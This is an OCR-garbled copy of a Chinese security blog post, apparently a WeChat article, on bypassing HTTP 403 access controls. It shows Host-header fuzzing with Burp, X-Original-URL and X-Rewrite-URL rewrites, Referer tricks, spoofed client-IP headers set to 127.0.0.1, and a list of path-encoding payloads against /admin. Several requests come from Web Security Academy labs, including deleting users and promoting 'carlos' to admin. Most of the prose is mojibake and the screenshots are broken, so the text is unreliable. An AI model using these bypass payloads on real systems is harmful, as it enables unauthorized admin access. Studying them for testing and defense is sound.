1I8—R4035%3 1715

NS TIER BT 7SS BB
2020-12-28J8X

RE BTSN FEB B 137 HCE,

I 3085 40, W b A K955 B,

A
B

W—WMEFERNEI ) —TFER, GEeEHMA (https://xxx. XXXX.
com) LY TAEIX MW EJ5m, X3 1P U5l BR &l & 5 17 75 5t [
Al LG, AN AT U5 AR [ 40 3R A S .

Lk

R —: wmAFMHAH

FRxpEMmE, BhHTERWRE. mEOE R KRE, A Hnna
p HEAT A um VBRI, RILER T80 124, EHKT —Mwebllk 55 1
80013 I, AT RAEH8001%5 15 (https://xxx. xxxX. com
:8001), BRAWNE . v HBESS IPEGIET M. HEXAEZ
AT T, SRR, KBS E

https://iamadmixxx. xxx.xxx:8001/auth/login


javascript:void(0);
https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247489824&idx=1&sn=83d370a391fa8269c12848d87a62240a&chksm=9b393f91ac4eb687328e676b3ed0710078d5cb2d3185e0d38d5e7bd92403840d0fc224b443ba&scene=126&sessionid=1609152567&key=ef004724d0d0a48d2305bfff114bca85c32f146c5337b996dabcd567e4dde88132fd5ff0d3aa1d86828b4d472fec5ff280a504ab2c8d1d031f0c212505e387388fd1e147b8531a33abe77e5af5f5ef8de14f5d9bac4caa874bd35d3ca106bda0b0d35250694fcd894e60f22878b4f7d200324a6e172b699b3b31b8cd7b26b31a&ascene=1&uin=MTI4NjQwOTAyMQ==&devicetype=Windows

Nmap scan report for
Host is up.

PORT  STATE SERVICE VERSION
80/tcp open http
443/tcp open https
8001/tcp open http-simple-new
eV, T B2k FARS001H 1, 27 $ ik i AR
SMIS00 1M T, FLlk %5, EIRAT4 4% W5 4 i 7 geid

o

B~ BEHOST

BTGB F Host 26 W SR S el (B FL, 76— MERS LR, JLAS 03 T i

I

= W FH &£ FH — 4~ MW % & £, #SF I A web



AL E PR SSE, @idhost kKIE & N 1Z H WS M uk ok & web
RGRAEH WG K

mo MR £ WEB M A @ & 3K H HTTP
HOST Sk k3R 3 M w1 K U5 i) A B, H 2R 2 I &K A 5 & 2R 20
TTP
HOST Sk i H P i, A2 M RV, AR P 5 N 2 WA A %
4.

R 55 A SR ACHOST i U5 sUA 2 i, JATT v] BUIE 2 SeHo s t4E R 24T
geid . ERXIZH R A AT T AR, B T E A B (hos
tF B R CREIPHAE) o SEFuzz il — WU E R T HELA, X

B ZBurpfIntruder I .
T

(@ Payload Positions F——
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.
Attack type: | Sniper M
1 GET /auth/login HTTE/1.1 . Add §
Z Host: Stest§ 1
I fem om oEd W W s W M M R R R
: "u = r | cews |
Auto§ |

7

8

ol ' ] I‘l.‘-l_l HE B IS EmEs
10 | &

11

12

HAE R E AT, BRI R [F1 200 BRI
B —ANAEHOST [ 4 b () 7304 o ATA A £irefox i ff R & SHO
STAH , J&Zhgeid Ui fal IR 41 .



JyREER AT, FOROMCH R, T H $Ty W A b E T 5R # 8 — N A

o

EXERAMEE —T4035 KTy

RK¥H=. BRIERURL

2ty B i H X-Original-URL All X~Rewrite-
URL 5 3k &8 3d We b il 55 45 19 BR 1
VI I W ¥ ¥ ¥ X-Original-URL # X-Rewrite-

URL k% 3k, H /" " LLff A X-Original-URL 3¢ X-Rewrite-URL
HTTP % o 47 Sk 28 7 i SRk URL o 0 6 42, 52 WX 58 3ok % 8 i 20 ) 10 28 4%
FIWe b ik 55 # ) PR il -
ZNTIE
Request

GET /auth/login HTTP/1.1

Response

403 Forbidden



Reqeust

GET / HTTP/1.1
X-Original-URL: /auth/login
Response

HTTP/1.1 200 0K

or

Reqeust

GET / HTTP/1.1

X-Rewrite-URL: /auth/login

Response

HTTP/1.1 200 0K
Burp®# g L AT, B e IE M 7 U7 Wadmin U & 47 R il
2 M admin F 7 & X A4 AT . A il B H O MK C Admin

panel ) burp M & & F , W % ik [H 403 , “Access
denied” 25 115 .

=l

Send Cancel <j» > Target: hups:/ eb- ¥ Ll

Request Response

Params | Headers | Hex

1 BET ."-ld.ml.n TE/1.1 HTTP/1.1 IDJ Forbidden
2 Hos ac! 5a1f62e255801933b300c30074 . web-security-academy.net 4] ]
3 Uaar -Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; conncchiun ciuu

rvi#3.0) Gecko/20100101 Firefox/83.0 Content-Length: 15

4 hccept:
text/ntnl,application/xhtal+xnl,application/xnl;g=0.9, image/web
Pi*/*;q=0.8

5 Accept-Language:
zh=CN,zh;g=0.8,zh=TW;q=0.7,zh~-HK;q=0.5,en=-US;q=0.3,en;g=0.2

& Accept-Encoding: gzip, deflate

7 Referer:
https://ac991f5a1£62e255801933b300c30074.veb-security-academy.n

T

on/json; charset=utf-g

2
3
4
5
[3

et/
B Connection: close
% Cookie: session=fUZ0064laJGAMEWPXroBRVASYLXrdves
10 Upgrade-Insecure-Requests:
11 Pragma: no-cache
12 Cache-Contrel: no-cache
13 !
14

Y




1 Header . H I m X-0riginal-
URL#pk, KU LA BEA LM BEAdninistrator. carlos. wi
ener K-S )5 H A AIR .

Send Caneel Sir >|v Target: hups:/ (ac99. web-security-academy.net 7

Response

Request

E@_ ‘Params | Headers IHII Raw | Headers | Hex | HTML ml
lost _acdllis 933b300c30074 b it d t :
ok SciTlloalif2e25580 c .web-security-academy.ne
3fx-Original-URL: /admin . Y W bs 1 URL-based access - Notsoived 1%
o intosh; Intel Mac 05 X 10.14; e ecu Control can be *

v e . = Mac
rviB3.0) Gecko/20100101 Firefox/83.0 1S
5 Accepts Academy il circumvented

text/html,application/xhtml+xml, application/xml;g=0.9, image/web
B t/*ig=0.8

& hccept-Language: Back to lab description
zh-CN,zh;g=0.8,2h-TW;g=0.7,2zh-HK;q=0.5,en-US;g=0.3,en;q=0.2

7 Rccept-Encoding: gzip, deflate

8 Referer:
https://ac991£5a1f62e255801933b300c30074 .web-security-academy.n
et/

5 [comnactions alens Home | Admin panel | Login

10 Cockie: session=fUZ006glaJGAméwPXroBKvhSylLxriwee

11 Upgrade-Insecure-Requests: 1 Users

12 Pragma: no-cache i

13 Cache-Contrel: no-cache -

T4 administrator - Delete
15 carlos - Delete

wiener - Delele

KHP.: Referertpksidt

il FHReferertn kg it Web Ak 55 4% 1 BE il .

N e : Referer

LR R A B TR T =7 W TN | P o = e D T
WL R YR T R B EAMN . RS MM Referer
18 3K Sk R 1 U5 1] ORI .

ZNIE

Request

GET /auth/login HTTP/1.1

Host: xxx

Response

HTTP/1.1 403 Forbidden



Regeust

GET / HTTP/1.1

Host: xxx
ReFerer:https://xxx/auth/login
Response

HTTP/1.1 200 OK

or

Reqeust

GET /auth/login HTTP/1.1

Host: xxx

ReFerer:https://xxx/auth/login

Response

HTTP/1.1 200 0K

Burp i P SE i = AT, MAAFEEHEALEER)GE, WK /adnin-

roles?username=carlos&action=upgrade

H 55 S 3R (61 4.0 1R BEAT AAAE,  JEBCRR U5 ) .

Send Cancel < v > Target: https: / /ac4c1f081fa329be80edIeet00450072.web-security

Request Response

Headers | Hex | Render

.
1|GET !admxn rnlgs?usarnm-carlas&netlon-upgrade HTTP/1.1 0 1} HTTP/1.1 401 Unauthorized
2 U oo W Y-academy.net a 2 " on; charset=utf-8
3 Uuar-Aqent anlllals 0 {Hac.\ntush Intal Hsc OS X 10.14; rv:iB3.0) 3 Connection: close

Gecko/20100101 Firefox/83.0 4 Content-Length: 14

4 Accept: 5
text/heml  application/xhtml+xml, application/xml;qg=0.9, image/webp,=/*;q=0.
8

Accept-Language:
zh=CN,zh;q=0.8,zh=-TW;q=0.7,2zh-HK;q=0.5,en-US;q=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: session=zoIhtLuSmjFeuXMPmGgVKFDpFBYwTvkJ
Upgrade-Insecure-Requests: 1

wn

cwm-;




ffHeader ki MReferer brk, MR im i w302 3K x5 3K Bl 2,
i fHReferertrk it Web ik 55 25 1 PR 1 o

send Cancel [ i | > Follow redirection Target: hitps:/ fac4c1f081fa3 b ty-academy.net 7 (7)

Request Response

1 | eTrE/1.1 302 Pound [
-

|71 GET /admin-rolesrusernamemcarlostaction=upgrade HTTE/L.1 .
2 Host: acdclf081falz 00450072 .web. urity demy . net P 2 | Location: /admin
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:83.0) 3 | connection: close
Gecko/20100101 Firefox/83.0 4 | Content_Length: 0
4 Accept:

text/heml,application/xhtml+xnl,application/xml;g=0.9, image/webp,*/*:g=0.
B

5 Accept-Language:

| zh=CN,zh;q=0.8,zh=TW;q=0.7,zh=HK;g=0.5,en=US;q=0.3 ,en;q=0.2
& Accept=Encoding: gzip, deflate
#Cnnne:uon close

d#fReter
httput! 4c1£081fa32 50072.web ity .net/admin
9 ‘eoortETreTT T TrrTTT

ln Upgrade-Insecure-Requests: 1

12

LHN . AHEIP

— OIT R 4l i Ng dnx AR W00 U7 R o TP R 1 6 B R U ],
R fii J5| X-Forwarded-For . X-Forwared-
Host & bR Sk g8 i We b Il 55 2% 19 PR 1 .

- X-Originating-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1

- X-Client-IP: 127.0.0.1

- X-Forwarded-For: 127.0.0.1
- X-Forwared-Host: 127.0.0.1
- X-Host: 127.0.0.1

- X-Custom-IP-Authorization: 127.0.0.1
7~

Request

GET /auth/login HTTP/1.1
Response

HTTP/1.1 401 Unauthorized



Reqeust

GET /auth/login HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response

HTTP/1.1 2600 OK

LBHN: yREBRY

BTy EA, HT5T403ZBEHH XK.
site.com/admin => 403
site.com/admin/ => 200
site.com/admin
site.com
site.com/admin

=> 200
site.com/admin/. => 200
site.com/admin/./ => 200
site.com/./admin/./ => 200
site.com/admin/./. => 200
site.com/admin/./. => 200
site.com/admin? => 200
site.com/admin?? => 200
site.com/admin??? => 200

site.com/admin..;/ => 200



site.com/admin/..;/ => 200
site.com/%2f/admin => 200
site.com/%2e/admin => 200
site.com/admin%20/ => 200
site.com/admin%09/ => 200

site.com/%20admin%20/ => 200

BE
H,

T LG R R, PR IR AT U R B DT B B R, FRAT W RLAE A an b7
Ztfragd. ca2 B NG (burpddff) [https://github. com/s
ting8k/BurpSuite 403Bypasser], HaIHAMEN4031ERK,
T2 1) 07 5 R T G A A A 2T

2%

https://twitter.com/jae hak99/status/129204366837574
4514
https://twitter.com/lobuhisec/status/132970544188301
7218
https://twitter.com/iam jOker/status/130365816720572
8256
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http://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247488442&idx=2&sn=56bbdbf3f35b3781aabd65c0d4b2f75b&chksm=9b39350bac4ebc1d010cd744eec558c5562883dafe376e13c8c0b8b4f2fbbba0d81639d107d6&scene=21#wechat_redirect

